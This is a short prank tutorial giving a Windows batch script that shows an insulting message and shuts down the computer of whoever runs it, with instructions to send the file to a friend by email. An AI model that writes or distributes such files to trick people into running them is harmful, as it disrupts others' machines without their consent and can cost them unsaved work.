How to Shut-down Others Computer By Sending a File To Them

This is the way to Shut-down your Friends Computer just By Sending a File To Them through e-mail or any other communication tool,Here are the Steps

• Create a new file on Notepad
• Paste the below code on the file
• And Save it as "Anything.BAT" in All Files . 

        @echo off
        msg * I don't like you
        shutdown -c "Error! You are too stupid!" -s